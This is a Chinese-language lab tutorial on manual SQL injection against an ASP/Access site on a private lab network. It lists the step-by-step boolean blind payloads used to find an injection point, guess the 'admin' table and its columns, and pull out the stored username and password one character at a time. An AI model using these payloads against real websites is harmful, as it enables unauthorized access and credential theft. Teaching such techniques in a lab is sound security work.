SQL注入原理-手工注入access数据库
一、Target:
SQL注入原理、学习手工注入过程
二、实验原理:
通过把SQL命令插入到web表单提交或输入域名或页面请求的的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
1、在结尾的链接中依次添加【’】和【and 1=1】和【and 1=2】判断网站是否存在注入点
2、添加语句【and exists(select*from admin)】根据页面返回结果来猜解表名
3、添加【and exists(select admin from admin)】猜解admin表中的列名admin
4、添加语句【and (select top 1 len (admin)from admin)>=1】猜解字段长度
5、添加【and (select top 1 asc(mid(admin,1,1))from admin)>=97】猜解字段中字符的ASCII码 通过上述的步骤,反复猜解,即可得到数据库存储的用户名和密码
三、实验环境:
本机:192.168.1.2 目标机:192.168.1.3
四、实验步骤:
找到有注入漏洞目标网站:
**1、目标站点:http://192.168.1.3:8008
随便选择一个链接:http://192.168.1.3:8008/onews.asp?id=45**
2、测试链接,在末尾添加【’】
3、在末尾添加【and 1 =1】
4、在末尾添加【and 1 =2】,返回页面发现该网站存在注入漏洞
猜解表名
在链接末尾添加语句【and exists(select*from admin)】,页面正常显示,说明存在表名【admin】
猜解列名
1、在链接末尾添加语句【and exists(select admin from admin)】,页面显示正常,说明表中存在admin列
2、在链接末尾添加语句【and exists(select password from admin)】,页面显示正常,说明表中存在列password
猜解字段内容
1、在链接末尾,输入【and (select top 1 len (admin)from admin>=1】页面显示正常,数字依次加1,进行测试,例如:【and (select top 1 len (admin)from admin>=5】说明字段长度为5
2、在链接末尾,输入【and (select top 1 asc(mid(admin,1,1))from admin)>=97】,可猜解第一条记录的第一个字符的ASCILL码为97,对应为a.3、同样的方法得到admin的字段内容【admin】,password的字段内容【bfpms】